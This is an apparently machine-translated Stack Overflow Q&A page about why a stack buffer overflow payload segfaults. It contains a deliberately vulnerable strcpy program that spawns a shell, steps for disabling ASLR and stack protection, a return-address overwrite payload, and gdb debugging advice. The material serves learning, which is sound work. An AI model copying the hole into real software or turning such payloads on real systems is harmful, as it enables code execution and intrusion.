繁体   English   中英

为什么导致给定程序的缓冲区溢出的输入会导致分段错误?

[英]Why does an input, which causes a buffer overflow for the given program give a segmentation fault?

我想在Ubuntu 18.04.3 LTS bionic下运行名为test.c的以下程序:

#include <stdio.h>
#include <string.h>

void not_called() {
    printf("Enjoy your shell!\n");
    system("/bin/bash");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable_function(argv[1]);
    return 0;
}

我使用gcc -m32 -fno-stack-protector -no-pie test.c -o test编译,并通过将/proc/sys/kernel/randomize_va_space中的 2 替换为 0 来停用已禁用的ASLR 。因此不应该使用保护机制一个问题。

我使用gdbstrcpy之前查看堆栈并检索not_called function 的地址。

结果如下:

Dump of assembler code for function vulnerable_function:
   0x080484c2 <+0>: push   %ebp
   0x080484c3 <+1>: mov    %esp,%ebp
   0x080484c5 <+3>: push   %ebx
   0x080484c6 <+4>: sub    $0x74,%esp
   0x080484c9 <+7>: call   0x804852b <__x86.get_pc_thunk.ax>
   0x080484ce <+12>:    add    $0x1b32,%eax
   0x080484d3 <+17>:    sub    $0x8,%esp
   0x080484d6 <+20>:    pushl  0x8(%ebp)
   0x080484d9 <+23>:    lea    -0x6c(%ebp),%edx
   0x080484dc <+26>:    push   %edx
   0x080484dd <+27>:    mov    %eax,%ebx
   0x080484df <+29>:    call   0x8048320 <strcpy@plt>
   0x080484e4 <+34>:    add    $0x10,%esp
   0x080484e7 <+37>:    nop
   0x080484e8 <+38>:    mov    -0x4(%ebp),%ebx
   0x080484eb <+41>:    leave  
   0x080484ec <+42>:    ret    
End of assembler dump.

$1 = {<text variable, no debug info>} 0x8048486 <not_called>

我尝试使用 go :

.\test "$(python -c 'print ("A"*0x6c + "BBBB" + "\x86\x84\x04\x08")')"

但我只是收到分段错误(核心转储)作为错误。
我试图从这里重建示例。 是否可能与这三个额外的推送操作以及在我的vulnerable_function函数disas中对这个神秘的 x86pcthunk function 的调用有关?

您很可能遇到分段错误,因为您用错误的值覆盖了返回地址。 您可以通过在ret指令上放置一个断点来轻松检查发生了什么,并在该点查看堆栈的 state。

在调试器中启动程序并在需要的地方放置一个断点:

$ gdb ./test

(gdb) break main
(gdb) run "$(python -c 'print ("A"*0x6c + "BBBB" + "\x86\x84\x04\x08")')"

当到达main处的断点时,在易受攻击的 function 的ret指令上添加第二个断点:

(gdb) break *0x080484ec
(gdb) continue

然后,当到达第二个断点时,在$esp指向的 position 处查看堆栈中的内容:

(gdb) x/wx $esp

你想看到的是这样的:

0x7fffe830: 0x08048486

如果你没有看到,这意味着你的有效载荷是错误的,也许你错误地计算了所需的偏移量。 看看保存的返回地址之前的堆栈中有什么:

(gdb) x/17wx $esp - 0x40

同样,您希望看到的是以下内容(假设$esp = 0x7fffe830 ):

0x7fffe7f0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffe800: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffe810: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffe820: 0x41414141  0x41414141  0x41414141  0x42424242
0x7fffe830: 0x08048486

0x41414141值是您的AAAAAA...填充,后跟四个 B( 0x42424242 )和覆盖的返回地址0x08048486 如果您发现任何不同,您可以查看是否需要更多(或更少)填充。

如果上述方法没有帮助,请检查发生分段错误的位置,再次使用gdb 由于gdb在发生段错误时会自动为您停止,因此您只需运行程序一次并查看它在哪里崩溃:

$ gdb ./test

(gdb) run "$(python -c 'print ("A"*0x6c + "BBBB" + "\x86\x84\x04\x08")')"

# ...

Program received signal SIGSEGV (fault address 0x0)

看看发生了什么以及程序在哪里死亡:

(gdb) backtrace
...

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM